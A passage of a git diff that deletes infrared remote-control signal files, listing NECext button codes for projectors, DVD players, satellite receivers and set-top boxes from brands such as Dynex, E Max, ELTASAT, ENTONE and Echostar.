2_-_COMPOSITE_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 3_-_SVIDEO_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 4_-_SVIDEO_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 5_-_COMPONENT_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 6_-_COMPONENT_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 7_-_RGB1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 8_-_RGB2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: 9_-_DVI_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: SELECT_^ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 64 00 00 00 -# -name: ADJ_< -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 64 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 64 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 64 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 65 00 00 00 -# -name: ADJ_> -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 65 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 65 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 65 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 66 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 73 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 74 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 75 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 76 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 77 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7F 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 80 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 81 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 82 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 83 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 84 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 85 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 87 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8E 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: B0 00 00 00 -# -name: SELECT_V -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: B0 00 00 00 -# -name: ARROW_DN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: B0 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: B0 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: E1 00 00 00 -# -name: MODE_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: E1 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: E2 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: E2 00 00 00 -# -name: SCREEN_R -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: E2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir deleted file mode 100644 index 2b986a0ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/7,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir deleted file mode 100644 index 5a2316797..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0Hz -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_0Hz -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_0Hz -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: ExtOff -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_0_degrees -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: ExtOn -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_0_degrees -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0_degrees -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: PresetB -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_0_degrees -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: PresetD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: PresetC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: Flat -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: PresetA -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir deleted file mode 100644 index 629d72ff2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir deleted file mode 100644 index 99432a74c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E Max/DVD Player/0,223.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 8 -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 01 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 03 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 04 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 05 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 06 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 09 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 0B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 0C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 0E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 0F 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 11 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 13 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 14 00 00 00 -# -name: STEP/PAUSE -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 15 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 16 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 17 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 19 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 1B 00 00 00 -# -name: PREV. -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 1C 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 1D 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 1E 00 00 00 -# -name: TITLE_PBC -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 1F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 41 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 42 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 43 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 44 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 45 00 00 00 -# -name: L/R -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 46 00 00 00 -# -name: A-TIME -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 47 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 49 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 4B 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 4C 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 4D 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 4E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 4F 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 51 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 52 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 53 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 54 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 55 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 00 DF 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir deleted file mode 100644 index 255a79b51..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 00 00 00 00 -# -name: MOUSE_MODE -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 01 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 04 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 05 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 09 00 00 00 -# -name: INC -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 0F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 10 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 14 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 15 00 00 00 -# -name: DEC -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 17 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 18 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 19 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1D 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir deleted file mode 100644 index 5625bfe0d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 03 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 07 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 0B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 0F 00 00 00 -# -name: DECODER -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 14 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 16 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 19 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 1D 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 1E 00 00 00 -# -name: H/V -type: parsed -protocol: NECext -address: 42 FD 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir deleted file mode 100644 index 068e50de4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 02 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 07 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 09 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 0B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 0C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 11 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 14 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 17 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 18 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 1A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 1B 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 1C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 1F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 23 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 25 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 27 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 28 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 2B 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 2E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 2F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 35 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 36 00 00 00 -# -name: KEY_DOT -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 48 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 4D 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 4E 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 4F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 52 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 53 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: E6 04 00 00 -command: 54 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir deleted file mode 100644 index 05dacb5eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: store -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 80 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 81 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 82 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 84 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 85 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 86 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 89 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 92 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 95 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 96 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 97 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir deleted file mode 100644 index f180bfd58..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DSS/0,0.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: SLCT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: CNCL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir deleted file mode 100644 index 9c3361a77..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Echostar/DVR/0,0.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed 